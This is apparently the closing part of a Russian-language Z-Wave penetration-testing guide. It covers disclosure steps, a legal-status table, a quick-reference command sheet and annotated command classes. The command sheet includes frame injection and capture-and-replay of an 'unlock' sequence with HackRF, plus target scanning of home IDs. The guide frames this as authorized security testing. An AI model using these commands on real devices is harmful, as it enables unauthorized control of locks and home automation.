Если во время авторизованного тестирования обнаружены уязвимости в устройствах Z-Wave: 1. Задокументируйте находки с техническими доказательствами 2. Свяжитесь с производителем через security@[vendor].com или страницу раскрытия безопасности 3. Предоставьте 90-дневный срок на раскрытие (стандарт CERT/CC) 4. Сообщите в Z-Wave Alliance: security@z-wavealliance.org 5. Для уязвимостей протокола от Silicon Labs: https://www.silabs.com/support/product-security 6. Рассмотрите возможность присвоения CVE через MITRE
| Деятельность | Правовой статус | Примечания |
|---|---|---|
| Пассивный перехват RF (в своем доме) | ✅ Как правило, законно | Z-Wave на частотах ниже 1 ГГц не защищен специально от пассивного перехвата |
| Активная инъекция (свои устройства) | ✅ Законно с разрешением владельца | Необходимо владеть устройствами или иметь письменное разрешение |
| Глушение | ❌ НЕЗАКОННО | FCC § 333; запрещено во всех юрисдикциях |
| Тестирование Z-Wave соседа | ❌ НЕЗАКОННО | Нарушение CFAA |
| Тестирование коммерческой собственности | ⚠️ Требуется письменная авторизация | Необходим контракт на оценку безопасности |
| Физическая модификация устройства | ✅ Законно (свое устройство) | Аннулирует гарантию; возможны импортивые регуляции |
# ============================================================
# Z-WAVE PENTEST QUICK REFERENCE COMMANDS
# ============================================================
# --- PASSIVE SNIFFING ---
# RTL-SDR capture (EU 868 MHz)
rtl_sdr -f 868420000 -s 2000000 -g 40 - | ./wave-in -u
# RTL-SDR capture (US 908 MHz)
rtl_sdr -f 908420000 -s 2000000 -g 40 - | ./wave-in -u
# HackRF capture raw IQ
hackrf_transfer -r capture.cs8 -f 908420000 -s 2000000 -l 32 -g 40
# --- ACTIVE SCANNING ---
# EZ-Wave passive stumbler (60s)
python ezstumbler.py -p -t 60
# EZ-Wave active scan
python ezstumbler.py -a -t 60 --homeid 0xTARGEThomeid
# EZ-Wave device recon
python ezrecon.py --homeid 0xTARGEThomeid --nodeid 5 -t 30
# --- FRAME TRANSMISSION (HackRF) ---
# Craft Z-Wave BASIC SET ON (unencrypted) with waving-z
./wave-out -p 'HomeID(4B) SrcNode FCtl Len DstNode 20 01 FF' > frame.cs8
hackrf_transfer -t frame.cs8 -f 908420000 -s 2000000 -x 40
# --- REPLAY ATTACK ---
# Capture specific sequence
hackrf_transfer -r unlock.cs8 -f 908420000 -s 2000000 -l 32 -g 40
# Replay sequence
hackrf_transfer -t unlock.cs8 -f 908420000 -s 2000000 -x 40
# --- GATEWAY/HUB TESTING ---
# Z-Wave JS docker
docker run -it -p 8091:8091 --device=/dev/ttyUSB0 zwavejs/zwave-js-ui
# MQTT listener
mosquitto_sub -h 192.168.1.X -p 1883 -t "zwave/#" -v
# Hub discovery
nmap -p 8123,8080,443,80,4123 192.168.1.0/24
# --- FIRMWARE ANALYSIS ---
# Binwalk extract
binwalk -e firmware.gbl
# JTAG connect (J-Link)
JLinkExe -device EFR32ZG14P831 -if SWD -speed 4000
# Firmwalker scan
./firmwalker.sh firmware_dir/
0x20 COMMAND_CLASS_BASIC ← Often unencrypted, test for direct control
0x25 COMMAND_CLASS_SWITCH_BINARY ← Smart plugs, lights
0x26 COMMAND_CLASS_SWITCH_MULTILEVEL ← Dimmers
0x30 COMMAND_CLASS_SENSOR_BINARY ← Door/window sensors
0x40 COMMAND_CLASS_THERMOSTAT_MODE ← HVAC
0x43 COMMAND_CLASS_THERMOSTAT_SETPOINT
0x60 COMMAND_CLASS_MULTI_CHANNEL ← Multi-endpoint devices
0x62 COMMAND_CLASS_DOOR_LOCK ← ⚠️ HIGH VALUE - require S2 Access Control
0x63 COMMAND_CLASS_USER_CODE ← PIN management
0x71 COMMAND_CLASS_NOTIFICATION ← Alarm/security events
0x72 COMMAND_CLASS_MANUFACTURER_SPECIFIC ← Unencrypted - reveals device info
0x7A COMMAND_CLASS_FIRMWARE_UPDATE_MD ← OTA updates - check for signing
0x80 COMMAND_CLASS_BATTERY ← Battery level
0x83 COMMAND_CLASS_USER_CREDENTIAL ← 2024A - new credential management
0x85 COMMAND_CLASS_ASSOCIATION ← Device grouping
0x86 COMMAND_CLASS_VERSION ← Unencrypted - reveals firmware versions
0x87 COMMAND_CLASS_INDICATOR ← UI indicators
0x98 COMMAND_CLASS_SECURITY ← S0 encapsulation ⚠️ LEGACY/WEAK
0x9F COMMAND_CLASS_SECURITY_2 ← S2 encapsulation ✅ CURRENT
Версия документа: 1.0 | Дата: март 2026 г. | Основано на спецификации Z-Wave 2024B
Предназначен исключительно для авторизованных исследователей безопасности и специалистов по пентесту
Все упомянутые исследования взяты из публично раскрытых, рецензируемых источников и материалов конференций